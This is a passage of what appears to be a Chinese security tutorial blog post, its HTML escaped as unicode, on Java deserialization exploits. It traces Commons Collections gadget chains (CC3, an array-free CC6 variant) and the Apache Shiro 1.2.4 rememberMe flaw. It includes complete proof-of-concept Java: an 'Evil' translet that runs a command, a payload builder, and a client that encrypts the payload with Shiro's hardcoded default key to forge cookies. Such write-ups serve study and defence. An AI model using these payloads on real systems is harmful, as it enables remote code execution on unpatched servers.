        \u4f46\u662f\u8fd9\u91cc\u548cysoserial\u7684CC3\u6709\u6240\u533a\u522b\uff0c\u51c6\u786e\u6765\u8bf4\u662f\u6ca1\u6709\u7528\u5230invokerTransformer\u539f\u56e0\u662f\u4ec0\u4e48\uff1f<\/p>\n\n\n\n
        \u5728ysoserial\u51fa\u73b0\u540e\uff0c\u968f\u4e4b\u800c\u6765\u4e5f\u51fa\u73b0\u4e86SerialKiller\u8fd9\u6837\u7684Java\u53cd\u5e8f\u5217\u5316\u8fc7\u6ee4\u5de5\u5668\uff0c\u53ef\u4ee5\u901a\u8fc7\u9ed1\u540d\u5355\u4e0e\u767d\u540d\u5355\u7684\u65b9\u5f0f\u6765\u9650\u5236\u53cd\u5e8f\u5217\u5316\u65f6\u5141\u8bb8\u901a\u8fc7\u7684\u7c7b\u3002\u5728\u5176\u53d1\u5e03\u7684\u4e00\u4e2a\u7248\u672c\u4ee3\u7801\u4e2d\uff0c\u53ef\u4ee5\u770b\u5230\u5176\u7ed9\u51fa\u4e86\u6700\u521d\u7684\u9ed1\u540d\u5355<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u8fd9\u4e2a\u9ed1\u540d\u5355\u4e2dinvokerTransformer\u8d6b\u7136\u5728\u5217\uff0c\u4e5f\u5c31\u5207\u65ad\u4e86CC1\u7684\u5229\u7528\u94fe\uff0cCC3\u8bde\u751f\u7684\u76ee\u7684\u4e5f\u5f88\u660e\u663e\u5c31\u662f\u4e3a\u4e86\u7ed5\u8fc7\u4e00\u4e9b\u89c4\u5219\u5bf9InvokerTransformer\u7684\u9650\u5236<\/strong>\uff0cCC3\u6ca1\u6709\u4f7f\u7528\u5230InvokerTransformer\u6765\u8c03\u7528\u4efb\u610f\u65b9\u6cd5\uff0c\u800c\u662f\u7528\u5230\u4e86\u53e6\u4e00\u4e2a\u7c7bcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter\uff0c\u8fd9\u4e2a\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u4e2d\u8c03\u7528\u4e86(TransformerImpl)templates.newTransformer()\uff0c\u514d\u53bb\u4e86\u6211\u4eec\u4f7f\u7528InvokerTransformer\u624b\u5de5\u8c03\u7528newTransformer()\u65b9\u6cd5\u8fd9\u4e00\u6b65<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u4f46\u662f\u7f3a\u5c11\u4e86invokerTransformer\uff0cTrAXFilter\u7684\u6784\u9020\u65b9\u6cd5\u4e5f\u662f\u65e0\u6cd5\u8c03\u7528\u7684\u3002\u8fd9\u91cc\u4f1a\u7528\u5230\u4e00\u4e2a\u65b0\u7684Transformer\uff0c\u5c31\u662forg.apache.commons.collections.functors.InstantiateTransformer\uff0cInstantiateTransformer\u4e5f\u662f\u4e00\u4e2a\u5b9e\u73b0\u4e86Transformer\u63a5\u53e3\u7684\u7c7b\uff0c\u5176\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u6784\u9020\u65b9\u6cd5\u3002<\/p>\n\n\n\n
        \u6240\u4ee5\u6211\u4eec\u5b9e\u73b0\u7684\u76ee\u6807\u5c31\u662f\uff0c\u5229\u7528InstantiateTransformer\u6765\u8c03\u7528\u5230TrAXFilter\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u518d\u5229\u7528\u5176\u6784\u9020\u65b9\u6cd5\u91cc\u7684template.newTransformer()\u8c03\u7528\u5230TemplateImpl\u91cc\u7684\u5b57\u8282\u7801 <\/p>\n\n\n\n
        \u5229\u7528\u94fe\u5982\u4e0b<\/p>\n\n\n\n
        Transformer[] transformers = new Transformer[]{\nnew ConstantTransformer(TrAXFilter.class),\nnew InstantiateTransformer(\nnew Class[] { Templates.class },\nnew Object[] { obj })\n        };<\/code><\/pre>\n\n\n\n
        \u66ff\u6362\u4e4b\u524d\u7684POC\u907f\u514d\u4e86InvokerTransformer\u7684\u4f7f\u7528<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u4e0a\u9762\u8fd9\u4e2a\u53ea\u662fdemo\uff0cysoserial\u7684\u5b8c\u6574POC<\/p>\n\n\n\n
        package client;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport javax.xml.transform.Templates;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CommonCollections3 {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String[] args) throws Exception {\n        TemplatesImpl obj = new TemplatesImpl();\n        setFieldValue(obj, \"_bytecodes\", new byte[][]{\n                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()\n        });\n        setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n\n        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(TrAXFilter.class),\n                new InstantiateTransformer(\n                        new Class[] { Templates.class },\n                        new Object[] { obj })\n        };\n\n        Transformer transformerChain = new ChainedTransformer(fakeTransformers);\n\n        Map innerMap = new HashMap();\n        innerMap.put(\"value\", \"xxxx\");\n        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n\n        Class clazz = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);\n\n        setFieldValue(transformerChain, \"iTransformers\", transformers);\n        \/\/ ==================\n        \/\/ \u751f\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(handler);\n        oos.close();\n\n        \/\/ \u672c\u5730\u6d4b\u8bd5\u89e6\u53d1\n        \/\/ System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n    }\n}\n\nEvilTemplatesImpl\npackage client;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\n\npublic class EvilTemplatesImpl extends AbstractTranslet {\n    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}\n\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}\n\n    public EvilTemplatesImpl() throws Exception {\n        super();\n        System.out.println(\"Hello TemplatesImpl\");\n        Runtime.getRuntime().exec(\"calc.exe\");\n    }\n}\n<\/code><\/pre>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u8fd9\u91cc\u548cCC1\u4e0d\u592a\u4e00\u6837\u7684\u90e8\u5206\u662f\uff0cCC1\u7684demo\u624b\u52a8outer.put()\u89e6\u53d1TransformedMap\u56de\u8c03transformerChain\uff0c\u4f46\u662f\u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u7a0b\u5e8f\u4e0d\u4f1a\u81ea\u52a8\u5e2e\u4f60\u6267\u884couter.put()\uff0c\u56e0\u6b64\u5f97\u60f3\u4e00\u4e2a\u8c03\u7528\u94fe<\/p>\n\n\n\n
        \u8fd9\u91cc\u662f\u8d70\u7684\u662fAnnotationInvocationHandler.readObject->var5.setValue->parent.checkSetValue(parent\u4e3aTransformedMap)->valueTransformer.transform(value)<\/p>\n\n\n\n
        var5.setValue()<\/code> \u4f1a\u8d70\u5230 TransformedMap.checkSetValue()<\/code>\uff0c\u662f\u56e0\u4e3a var5<\/code> \u5b9e\u9645\u4e0a\u662f TransformedMap.entrySet()<\/code> \u8fd4\u56de\u7684\u5305\u88c5 Entry\uff0c\u5b83\u7684 setValue()<\/code> \u88ab Commons Collections \u91cd\u5199\u4e86\uff0c\u5185\u90e8\u4f1a\u5148\u8c03\u7528 parent.checkSetValue(value)<\/code>\uff0c\u800c\u8fd9\u4e2a parent \u6b63\u662f TransformedMap\u3002<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        Shiro\u53cd\u5e8f\u5217\u5316<\/h1>\n\n\n\n
        Shiro\u53cd\u5e8f\u5217\u5316\u7684\u539f\u7406\u6bd4\u8f83\u7b80\u5355\uff1a\u4e3a\u4e86\u8ba9\u6d4f\u89c8\u5668\u6216\u670d\u52a1\u5668\u91cd\u542f\u540e\u7528\u6237\u4e0d\u4e22\u5931\u767b\u5f55\u72b6\u6001\uff0cShiro\u652f\u6301\u5c06\u6301\u4e45\u5316\u4fe1\u606f\u5e8f\u5217\u5316\u5e76\u52a0\u5bc6\u4fdd\u5b58\u5728Cookie\u7684rememberMe\u5b57\u6bb5\u4e2d\uff0c\u4e0b\u6b21\u8bfb\u53d6\u65f6\u8fdb\u884c\u89e3\u5bc6\u518d\u53cd\u5e8f\u5217\u5316\u3002\u4f46\u662f\u5728Shiro 1.2.4\u7248\u672c\u4e4b\u524d\u5185\u7f6e\u4e86\u4e00\u4e2a\u9ed8\u8ba4\u4e14\u56fa\u5b9a\u7684\u52a0\u5bc6Key\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u4f2a\u9020\u4efb\u610f\u7684rememberMe Cookie\uff0c\u8fdb\u800c\u89e6\u53d1\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002<\/strong><\/p>\n\n\n\n
        \u4e00\u4e2a\u7b80\u5355\u7684\u767b\u5f55\u5e94\u7528\u6f14\u793ashiro 1.2.4<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u8f93\u5165\u6b63\u786e\u7684\u8d26\u53f7\u5bc6\u7801\uff0croot\/secret\uff0c\u6210\u529f\u767b\u5f55<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u5982\u679c\u767b\u5f55\u65f6\u9009\u62e9\u4e86remember me\u7684\u591a\u9009\u6846\uff0c\u5219\u767b\u5f55\u6210\u529f\u540e\u670d\u52a1\u7aef\u4f1a\u8fd4\u56de\u4e00\u4e2arememberMe\u7684Cookie<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u5bf9\u6b64\u653b\u51fb\u8fc7\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n
        1.\u4f7f\u7528\u4ee5\u524d\u5b66\u8fc7\u7684CommonsCollections\u5229\u7528\u94fe\u751f\u6210\u4e00\u4e2a\u5e8f\u5217\u5316Payload
        2.\u4f7f\u7528shiro\u9ed8\u8ba4key\u8fdb\u884c\u52a0\u5bc6
        3.\u5c06\u5bc6\u6587\u4f5c\u4e3arememberMe\u7684Cookie\u53d1\u9001\u7ed9\u670d\u52a1\u7aef<\/p>\n\n\n\n
        \u5c06\u7b2c1\u30012\u6b65\u7f16\u5199\u6210\u4e00\u4e2aClass\uff1aClient0.java\uff0c\u5176\u4e2d\u7528\u5230\u7684Gadget\u65f6CC6<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u52a0\u5bc6\u7684\u8fc7\u7a0b\uff0c\u76f4\u63a5\u4f7f\u7528\u7684shiro\u5185\u7f6e\u7684\u7c7borg.apache.shiro.crypto,AesCipherService\uff0c\u6700\u540e\u751f\u6210\u4e86\u4e00\u6bb5base64\u5b57\u7b26\u4e32\uff0c\u76f4\u63a5\u5c06\u8fd9\u6bb5\u5b57\u7b26\u4e32\u4f5c\u4e3arememberMe\u7684\u503c\uff0c\u53d1\u9001\u7ed9shiro<\/p>\n\n\n\n
        \u6700\u7ec8\u6ca1\u6709\u5f39\u51fa\u8ba1\u7b97\u5668\u800c\u662fTomcat\u51fa\u73b0\u4e86\u62a5\u9519<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u51b2\u7a81\u4e0e\u9650\u5236<\/h2>\n\n\n\n
        \u627e\u5230\u5f02\u5e38\u4fe1\u606f\u7684\u5012\u6570\u7b2c\u4e00\u884c\uff0c\u4e5f\u5c31\u662f\u8fd9\u4e2a\u7c7b\uff1aorg.apache.shiro.io.ClassResolvingObjectInputStream\u3002\u53ef\u4ee5\u770b\u5230\u8fd9\u662f\u4e00\u4e2aObjectInputStream\u7684\u5b50\u7c7b\uff0c\u5176\u91cd\u5199\u4e86resolveClass\u65b9\u6cd5<\/p>\n\n\n\n
        import org.apache.shiro.util.ClassUtils;\nimport org.apache.shiro.util.UnknownClassException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectStreamClass;\npublic class ClassResolvingObjectInputStream extends ObjectInputStream {\n    public ClassResolvingObjectInputStream(InputStream inputStream) throws \nIOException {\n        super(inputStream);\n    }\n    \/**\n     * Resolves an {@link ObjectStreamClass} by delegating to Shiro's \n     * {@link ClassUtils#forName(String)} utility method, which is known to \nwork in all ClassLoader environments.\n     * \n     * @param osc the ObjectStreamClass to resolve the class name.\n     * @return the discovered class\n     * @throws IOException never - declaration retained for subclass \nconsistency\n     * @throws ClassNotFoundException if the class could not be found in any \nknown ClassLoader\n     *\/\n    @Override\n    protected Class<?> resolveClass(ObjectStreamClass osc) throws \nIOException, ClassNotFoundException {\n        try {\n            return ClassUtils.forName(osc.getName());\n        } catch (UnknownClassException e) {\n            throw new ClassNotFoundException(\"Unable to load \nObjectStreamClass [\" + osc + \"]: \", e);\n        }\n    }\n}<\/code><\/pre>\n\n\n\n
        resolveClass\u662f\u53cd\u5e8f\u5217\u5316\u4e2d\u7528\u6765\u67e5\u627e\u7c7b\u7684\u65b9\u6cd5\uff0c\u7b80\u5355\u6765\u8bf4\uff0c\u8bfb\u53d6\u5e8f\u5217\u5316\u6d41\u7684\u65f6\u5019\uff0c\u8bfb\u5230\u4e00\u4e2a\u5b57\u7b26\u4e32\u5f62\u5f0f\u7684\u7c7b\u540d\uff0c\u9700\u8981\u901a\u8fc7\u8fd9\u4e2a\u65b9\u6cd5\u6765\u627e\u5230\u5bf9\u5e94\u7684java.lang.Class\u5bf9\u8c61<\/p>\n\n\n\n
        \u5bf9\u6bd4\u4e00\u4e0b\u5b83\u7684\u7236\u7c7b\uff0c\u4e5f\u5c31\u662f\u6b63\u5e38\u7684ObjectInputStream\u7c7b\u4e2d\u7684resolveClass\u65b9\u6cd5<\/p>\n\n\n\n
        protected Class<?> resolveClass(ObjectStreamClass desc)\n    throws IOException, ClassNotFoundException\n{\n    String name = desc.getName();\n    try {\n        return Class.forName(name, false, latestUserDefinedLoader());\n    } catch (ClassNotFoundException ex) {\n        Class<?> cl = primClasses.get(name);\n        if (cl != null) {\n            return cl;\n        } else {\n            throw ex;\n        }\n    }\n}<\/code><\/pre>\n\n\n\n
        \u533a\u522b\u5c31\u662f\u524d\u8005\u7528\u7684\u662forg.apache.shiro.util.ClassUtils#forName\uff08\u5b9e\u9645\u4e0a\u5185\u90e8\u7528\u5230\u4e86org.apache.catalina.loader.ParalleWebappClassLoader#loadClass\uff09\uff0c\u800c\u540e\u8005\u7528\u7684\u662fJava\u539f\u751f\u7684Class.forName<\/p>\n\n\n\n
        \u90a3\u4e48\u6211\u4eec\u5728\u5f02\u5e38\u6355\u6349\u7684\u4f4d\u7f6e\u4e0b\u4e2a\u65ad\u70b9\uff0c\u770b\u770b\u662f\u54ea\u4e2a\u7c7b\u89e6\u53d1\u4e86\u5f02\u5e38<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u53ef\u89c1\uff0c\u51fa\u5f02\u5e38\u65f6\u52a0\u8f7d\u7684\u7c7b\u540d\u4e3aorg.apache.commons.collections.Transformer\u3002\u539f\u56e0\u6bd4\u8f83\u590d\u6742\uff0c\u6700\u540e\u5f97\u51fa\u7684\u7ed3\u8bba\uff1a\u5982\u679c\u53cd\u5e8f\u5217\u5316\u6d41\u4e2d\u5305\u542b\u975eJava\u81ea\u8eab\u7684\u6570\u7ec4\uff0c\u5219\u4f1a\u51fa\u73b0\u65e0\u6cd5\u52a0\u8f7d\u7c7b\u7684\u9519\u8bef<\/strong>\uff0c\u8fd9\u5c31\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48CommonsCollections\u65e0\u6cd5\u5229\u7528\u4e86\uff0c\u56e0\u4e3a\u5176\u4e2d\u7528\u5230\u4e86Transformer\u6570\u7ec4\u3002<\/p>\n\n\n\n
        \u4e4b\u524d\u672c\u5730\u6d4b\u8bd5 CC6 \u4e0d\u62a5\u9519\uff0c\u662f\u56e0\u4e3a payload \u7684\u751f\u6210\u4e0e\u53cd\u5e8f\u5217\u5316\u90fd\u53d1\u751f\u5728\u540c\u4e00\u4e2a Java \u73af\u5883\u4e2d\uff0c\u8be5\u73af\u5883\u5df2\u7ecf\u5f15\u5165\u4e86 Commons Collections \u4f9d\u8d56\uff0cJVM \u80fd\u6b63\u5e38\u52a0\u8f7d TiedMapEntry<\/code>\u3001LazyMap<\/code>\u3001Transformer<\/code> \u7b49\u7c7b\u3002\u800c\u5728 Shiro rememberMe \u573a\u666f\u4e2d\uff0cpayload \u662f\u7531 shiroattack<\/code> \u751f\u6210\uff0c\u4f46\u771f\u6b63\u53cd\u5e8f\u5217\u5316\u7684\u662f Tomcat \u4e2d\u7684 shirodemo<\/code>\u3002\u5982\u679c\u76ee\u6807 Web \u5e94\u7528\u7684 classpath \u4e2d\u6ca1\u6709 Commons Collections 3.x\uff0c\u5219\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\u89e3\u6790\u5230\u8fd9\u4e9b\u7b2c\u4e09\u65b9\u7c7b\u65f6\u4f1a\u76f4\u63a5 ClassNotFoundException<\/code>\u3002\u6b64\u5916\uff0cShiro 1.2.4 \u4f7f\u7528 ClassResolvingObjectInputStream<\/code> \u81ea\u5b9a\u4e49\u7c7b\u89e3\u6790\u903b\u8f91\uff0c\u5bf9 [Lorg.apache.commons.collections.Transformer;<\/code> \u8fd9\u7c7b\u7b2c\u4e09\u65b9\u6570\u7ec4\u63cf\u8ff0\u7b26\u5904\u7406\u4e0d\u4f73\uff0c\u56e0\u6b64 CC6 \u4e2d\u7684 Transformer[]<\/code> \u4e5f\u53ef\u80fd\u5bfc\u81f4\u65e0\u6cd5\u52a0\u8f7d\u7c7b\u7684\u95ee\u9898\u3002<\/p>\n\n\n\n
        \u6784\u9020\u4e0d\u542b\u6570\u7ec4\u7684\u53cd\u5e8f\u5217\u5316Gadget<\/h2>\n\n\n\n
        \u5728\u524d\u9762\u4ecb\u7ecd\u4e86TemplateImpl\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e0b\u9762\u51e0\u884c\u4ee3\u7801\u6765\u6267\u884c\u4e00\u6bb5Java\u7684\u5b57\u8282\u7801<\/p>\n\n\n\n
        TemplatesImpl obj = new TemplatesImpl();\nsetFieldValue(obj, \"_bytecodes\", new byte[][] {\"...bytescode\"});\nsetFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\nsetFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\nobj.newTransformer();<\/code><\/pre>\n\n\n\n
        \u5b9e\u73b0\u5b57\u8282\u7801\u7684\u52a0\u8f7d\u5fc5\u987b\u8981\u8c03\u7528newTrasnformer\uff0c\u524d\u9762CC3\u4ecb\u7ecd\u4e86\u4e24\u79cd\u8c03\u7528\u65b9\u6cd5\u4e00\u4e2a\u662f\u76f4\u63a5\u901a\u8fc7InvokerTransformer<\/p>\n\n\n\n
        Transformer[] transformers = new Transformer[]{\nnew ConstantTransformer(obj),\nnew InvokerTransformer(\"newTransformer\", null, null)\n};<\/code><\/pre>\n\n\n\n
        \u53e6\u4e00\u4e2a\u5c31\u662f\u8d70TrAXFilter\u94fe\u8c03\u7528\u5176\u6784\u9020\u65b9\u6cd5\u5373\u53ef\u8c03\u7528\u6784\u9020\u65b9\u6cd5\u91cc\u7684template.newTransformer\u901a\u8fc7TransformedMap.checkSetValue(value)\u81ea\u52a8\u89e6\u53d1\uff0c\u4f46\u662f\u5f88\u660e\u663e\u8fd9\u4e24\u79cd\u65b9\u6cd5\u90fd\u8981\u4f9d\u8d56transformer\u6570\u7ec4<\/p>\n\n\n\n
        \u5982\u4f55\u53bb\u9664\u8fd9\u4e00\u8fc7\u7a0b\u7684Transformer\u6570\u7ec4\uff1f\u524d\u9762CC6\u4e2d\u7528\u5230\u4e86\u4e00\u4e2a\u7c7bTied Map Entry\uff0c\u5176\u6784\u9020\u51fd\u6570\u4ecb\u63a5\u53d7\u4e24\u4e2a\u53c2\u6570\u4e00\u4e2a\u662fLazyMap\uff0c\u4e00\u4e2a\u662f\u5bf9\u8c61key\u3002TiedMapEntry\u6709\u4e2agetValue\u65b9\u6cd5\uff0c\u8c03\u7528\u4e86map\u7684get\u65b9\u6cd5\uff0c\u5e76\u4f20\u5165key<\/p>\n\n\n\n
        public Object getValue() {\nreturn map.get(key);\n}<\/code><\/pre>\n\n\n\n
        \u5f53\u8fd9\u4e2amap\u662fLazyMap\u65f6\uff0c\u5176get\u65b9\u6cd5\u5c31\u662f\u89e6\u53d1transform\u7684\u5173\u952e\u70b9<\/p>\n\n\n\n
        public Object get(Object key) {\n\/\/ create value for key if key is not currently in the map\nif (map.containsKey(key) == false) {\nObject value = factory.transform(key);\nmap.put(key, value);\nreturn value;\n}\nreturn map.get(key);\n}<\/code><\/pre>\n\n\n\n
        \u4ee5\u5f80\u6784\u9020CC Gadget\u7684\u65f6\u5019\uff0c\u5bf9LazyMap#get\u65b9\u6cd5\u7684\u53c2\u6570key\u662f\u4e0d\u5173\u5fc3\u7684\uff0c\u56e0\u4e3a\u901a\u5e38Transformer\u6570\u7ec4\u7684\u9996\u4e2a\u5bf9\u8c61\u662fConstantTransformer\uff0c\u901a\u8fc7ConstantTransformer\u6765\u521d\u59cb\u5316\u6076\u610f\u5bf9\u8c61\u3002<\/p>\n\n\n\n
        \u4f46\u662f\u6b64\u65f6\u6211\u4eec\u65e0\u6cd5\u4f7f\u7528Transformer\u6570\u7ec4\u4e86\uff0c\u4e5f\u5c31\u4e0d\u80fd\u518d\u7528ConstantTransformer\u4e86\u3002\u6b64\u65f6\u53ef\u4ee5\u60ca\u8bb6\u7684\u53d1\u73b0\u8fd9\u4e2aLazyMap#get\u7684\u53c2\u6570key\uff0c\u4f1a\u88ab\u4f20\u8fdbtransform()<\/strong>\uff0c\u5b9e\u9645\u4e0a\u5b83\u53ef\u4ee5\u626e\u6f14ConstantTransformer\u7684\u89d2\u8272–\u4e00\u4e2a\u7b80\u5355\u7684\u5bf9\u8c61\u4f20\u9012\u8005<\/p>\n\n\n\n
        \u4f1a\u770b\u524d\u9762\u7684Transformer\u6570\u7ec4<\/p>\n\n\n\n
        Transformer[] transformers = new Transformer[]{\nnew ConstantTransformer(obj),\nnew InvokerTransformer(\"newTransformer\", null, null)\n};<\/code><\/pre>\n\n\n\n
        new ConstantTransformer(obj)\u8fd9\u4e00\u6b65\u5b8c\u5168\u662f\u53ef\u4ee5\u53bb\u9664\uff0c\u6570\u7ec4\u957f\u5ea6\u53d8\u62101\uff0c\u90a3\u4e48\u4e5f\u4e0d\u9700\u8981\u6570\u7ec4\u4e86\u3002<\/p>\n\n\n\n
        \u6539\u9020CC6\u4e3aCCshiro<\/h2>\n\n\n\n
        \u9996\u5148\u8fd8\u662f\u521b\u5efaTemplateImpl\u5bf9\u8c61<\/p>\n\n\n\n
        TemplatesImpl obj = new TemplatesImpl();\nsetFieldValue(obj, \"_bytecodes\", new byte[][] {\"...bytescode\"});\nsetFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\nsetFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());<\/code><\/pre>\n\n\n\n
        \u7136\u540e\u8c03\u7528newTransformer\u65b9\u6cd5\u7684InvokerTransformer\uff0c\u8fd9\u91cc\u5148\u4f20\u5165\u4e00\u4e2a\u4eba\u755c\u65e0\u5bb3\u7684\u65b9\u6cd5\uff0c\u6bd4\u5982getClass\uff0c\u907f\u514d\u6076\u610f\u65b9\u6cd5\u5728\u6784\u9020Gadget\u7684\u65f6\u5019\u89e6\u53d1<\/p>\n\n\n\n
        Transformer transformer = new InvokerTransformer(\"getClass\", null, null);<\/code><\/pre>\n\n\n\n
        \u518d\u628a\u8001\u7684CC6\u4ee3\u7801\u590d\u5236\u8fc7\u6765\uff0c\u7136\u540e\u6539\u524d\u9762\u8bf4\u5230\u7684\u70b9\uff0c\u5c06TiedMapEntry\u6784\u9020\u65f6\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570key\uff0c\u6539\u4e3a\u524d\u9762\u521b\u5efa\u7684TemplateImpl\u5bf9\u8c61<\/p>\n\n\n\n
        Map innerMap = new HashMap();\nMap outerMap = LazyMap.decorate(innerMap, transformer);\nTiedMapEntry tme = new TiedMapEntry(outerMap, obj);\nMap expMap = new HashMap();\nexpMap.put(tme, \"valuevalue\");\nouterMap.clear();<\/code><\/pre>\n\n\n\n
        \u6700\u540e\u5c06InvokerTransformer\u65b9\u6cd5\u6539\u6210newTransformer<\/p>\n\n\n\n
        \u5b8c\u6574POC<\/h2>\n\n\n\n
        package com.govuln.shiroattack;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CommonsCollectionsShiro {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public byte[] getPayload(byte[] clazzBytes) throws Exception {\n        TemplatesImpl obj = new TemplatesImpl();\n        setFieldValue(obj, \"_bytecodes\", new byte[][]{clazzBytes});\n        setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n\n        Transformer transformer = new InvokerTransformer(\"getClass\", null, null);\n\n        Map innerMap = new HashMap();\n        Map outerMap = LazyMap.decorate(innerMap, transformer);\n\n        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);\n\n        Map expMap = new HashMap();\n        expMap.put(tme, \"valuevalue\");\n\n        outerMap.clear();\n        setFieldValue(transformer, \"iMethodName\", \"newTransformer\");\n\n        \/\/ ==================\n        \/\/ \u751f\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(expMap);\n        oos.close();\n\n        return barr.toByteArray();\n    }\n}<\/code><\/pre>\n\n\n\n
        \u4f7f\u7528Client.java\u751f\u6210payload<\/p>\n\n\n\n
        package com.govuln.shiroattack;\n\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.shiro.crypto.AesCipherService;\nimport org.apache.shiro.util.ByteSource;\n\npublic class Client {\n    public static void main(String []args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());\n        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());\n\n        AesCipherService aes = new AesCipherService();\n        byte[] key = java.util.Base64.getDecoder().decode(\"kPH+bIxk5D2deZiIxcaaaA==\");\n\n        ByteSource ciphertext = aes.encrypt(payloads, key);\n        System.out.printf(ciphertext.toString());\n    }\n}\n<\/code><\/pre>\n\n\n\n
        \u8fd9\u91cc\u7528\u5230\u4e86Javassist\uff0c\u8fd9\u662f\u4e00\u4e2a\u5b57\u8282\u7801\u64cd\u7eb5\u7684\u7b2c\u4e09\u65b9\u5e93\uff0c\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u5c06\u6076\u610f\u7c7bcom.govuln.shiroattack.Evil\u751f\u6210\u5b57\u8282\u7801\u5728\u4ea4\u7ed9TemplateImpl<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        CC2<\/h1>\n\n\n\n
        2015\u5e74\u5e95CC\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\u88ab\u63d0\u51fa\u65f6\uff0cApache Commons Collet ions\u6709\u4ee5\u4e0b\u4e24\u4e2a\u5206\u652f\u7248\u672c<\/p>\n\n\n\n